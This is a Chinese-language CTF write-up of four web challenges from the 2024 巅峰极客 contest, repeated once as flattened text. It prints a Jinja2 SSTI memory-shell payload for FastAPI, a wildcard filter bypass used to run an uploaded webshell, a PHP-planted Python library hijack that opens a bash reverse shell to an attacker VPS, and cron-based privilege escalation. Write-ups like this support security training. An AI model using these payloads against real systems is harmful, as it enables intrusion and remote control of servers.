2024巅峰极客WriteUp(Web)
字数 1497 2025-08-24 07:48:09

2024巅峰极客Web题目WriteUp教学文档

1. EncirclingGame (签到题)

解题步骤

  • 直接进入游戏界面,随便玩几局即可自动获得flag
  • 无特殊技术要求,属于热身题目

2. GoldenHornKing (SSTI注入+内存马)

漏洞分析

  • 题目使用FastAPI框架构建
  • /calc路由存在Jinja2 SSTI模板注入漏洞
  • 过滤条件:
    • 禁止包含数字字符
    • 禁止包含%字符
    • 必须为ASCII字符
    • 只能成功访问一次(access全局变量控制)

利用思路

  1. 由于无回显且过滤严格,考虑利用SSTI注入创建内存马
  2. 利用FastAPI的add_api_route方法动态添加路由
  3. 通过__globals__sys.modules等属性绕过限制

利用步骤

第一步:注入内存马

request.__class__.__init__.__globals__['sys'].modules['builtins']['eval']('__import__("sys").modules["__main__"].__dict__["app"].add_api_route("/abcd",lambda abcd:__import__("os").popen("cat /flag").read(),methods=["GET"])')

第二步:访问新路由

  • 访问/abcd路由获取flag

关键点

  • 使用__globals__访问全局变量
  • 通过sys.modules获取模块引用
  • 利用add_api_route动态添加路由
  • 使用lambda函数避免复杂参数传递

3. admin_Test (文件上传+RCE)

漏洞分析

  • 存在文件上传功能,但上传后文件被重命名
  • 存在命令执行功能,但过滤严格:
    • 正则过滤:/t ]+$/(禁止包含t后跟空格或制表符)
    • 但允许./等字符

利用思路

  1. 通过文件上传在/tmp目录创建临时文件
  2. 利用命令执行功能执行/tmp下的文件
  3. 使用通配符绕过过滤:./*t. /t*/*

利用步骤

第一步:Fuzz测试可用字符

for i in range(32,127):
    print(chr(i))

发现可使用./*t形式执行命令

第二步:上传Webshell

  • 上传包含恶意代码的文件,虽然不会落地到uploads/,但会在/tmp生成临时文件

第三步:执行临时文件

./*t

第四步:提权

  • 使用蚁剑等工具连接
  • 查找SUID提权机会

关键点

  • 利用/tmp临时文件机制
  • 通配符绕过命令过滤
  • 注意文件上传后的临时文件路径

4. php_online (Python+PHP混合RCE)

漏洞分析

  • Flask应用,允许用户提交ID和PHP代码
  • 代码执行流程:
    1. 创建沙箱目录(/sandbox/{id})
    2. 复制init.py到沙箱
    3. 执行用户提交的PHP代码
    4. 清理沙箱
  • 关键点:
    • PHP代码以nobody用户执行
    • Python代码以www-data用户执行
    • 存在竞态条件(清理前短暂时间窗口)

利用思路

  1. 利用库劫持:logging/__init__.py
  2. 通过PHP创建恶意Python库文件
  3. 利用init.pyimport logging执行恶意代码
  4. 提权到www-data

利用步骤

第一步:创建沙箱

  • 提交8位字母数字ID(如12341234

第二步:提交PHP代码

<?php 
system('mkdir logging');
$shell = "import os\nos.system(\"bash -c 'bash -i >& /dev/tcp/vps/2333 0>&1'\")";
file_put_contents("logging/__init__.py", $shell);
system('python init.py');
?>

第三步:反弹shell

  • 监听VPS端口获取www-data权限shell

第四步:提权

  1. 检查定时任务:
ls -la /etc/cron.d
  1. 利用sleep保持文件落地:
<?php for($i;$i<=1000;$i++){sleep(100);}?>
  1. 创建计划任务:
* * * * * root cat /flag > /sandbox/flag.txt

关键点

  • Python库路径劫持
  • 竞态条件利用
  • 权限提升路径:nobody → www-data → root
  • sleep保持文件落地的技巧

总结

  1. SSTI注入:关注全局变量访问和模块导入方式,考虑无回显情况下的内存马注入
  2. 文件上传+RCE:注意临时文件机制和命令过滤绕过技巧
  3. 混合语言漏洞:注意不同语言的执行上下文和权限差异
  4. 提权路径:系统性地检查SUID、定时任务、环境变量等常见提权方式

以上技术点在实际渗透测试中都有广泛应用,建议在安全环境中进行复现练习。

2024巅峰极客Web题目WriteUp教学文档 1. EncirclingGame (签到题) 解题步骤 : 直接进入游戏界面,随便玩几局即可自动获得flag 无特殊技术要求,属于热身题目 2. GoldenHornKing (SSTI注入+内存马) 漏洞分析 题目使用FastAPI框架构建 /calc 路由存在Jinja2 SSTI模板注入漏洞 过滤条件: 禁止包含数字字符 禁止包含 % 字符 必须为ASCII字符 只能成功访问一次( access 全局变量控制) 利用思路 由于无回显且过滤严格,考虑利用SSTI注入创建内存马 利用FastAPI的 add_api_route 方法动态添加路由 通过 __globals__ 和 sys.modules 等属性绕过限制 利用步骤 第一步:注入内存马 第二步:访问新路由 访问 /abcd 路由获取flag 关键点 使用 __globals__ 访问全局变量 通过 sys.modules 获取模块引用 利用 add_api_route 动态添加路由 使用lambda函数避免复杂参数传递 3. admin_ Test (文件上传+RCE) 漏洞分析 存在文件上传功能,但上传后文件被重命名 存在命令执行功能,但过滤严格: 正则过滤: /t ]+$/ (禁止包含 t 后跟空格或制表符) 但允许 . 和 / 等字符 利用思路 通过文件上传在 /tmp 目录创建临时文件 利用命令执行功能执行 /tmp 下的文件 使用通配符绕过过滤: ./*t 或 . /t*/* 利用步骤 第一步:Fuzz测试可用字符 发现可使用 ./*t 形式执行命令 第二步:上传Webshell 上传包含恶意代码的文件,虽然不会落地到 uploads/ ,但会在 /tmp 生成临时文件 第三步:执行临时文件 第四步:提权 使用蚁剑等工具连接 查找SUID提权机会 关键点 利用 /tmp 临时文件机制 通配符绕过命令过滤 注意文件上传后的临时文件路径 4. php_ online (Python+PHP混合RCE) 漏洞分析 Flask应用,允许用户提交ID和PHP代码 代码执行流程: 创建沙箱目录( /sandbox/{id} ) 复制 init.py 到沙箱 执行用户提交的PHP代码 清理沙箱 关键点: PHP代码以 nobody 用户执行 Python代码以 www-data 用户执行 存在竞态条件(清理前短暂时间窗口) 利用思路 利用库劫持: logging/__init__.py 通过PHP创建恶意Python库文件 利用 init.py 的 import logging 执行恶意代码 提权到 www-data 利用步骤 第一步:创建沙箱 提交8位字母数字ID(如 12341234 ) 第二步:提交PHP代码 第三步:反弹shell 监听VPS端口获取 www-data 权限shell 第四步:提权 检查定时任务: 利用sleep保持文件落地: 创建计划任务: 关键点 Python库路径劫持 竞态条件利用 权限提升路径:nobody → www-data → root sleep保持文件落地的技巧 总结 SSTI注入 :关注全局变量访问和模块导入方式,考虑无回显情况下的内存马注入 文件上传+RCE :注意临时文件机制和命令过滤绕过技巧 混合语言漏洞 :注意不同语言的执行上下文和权限差异 提权路径 :系统性地检查SUID、定时任务、环境变量等常见提权方式 以上技术点在实际渗透测试中都有广泛应用,建议在安全环境中进行复现练习。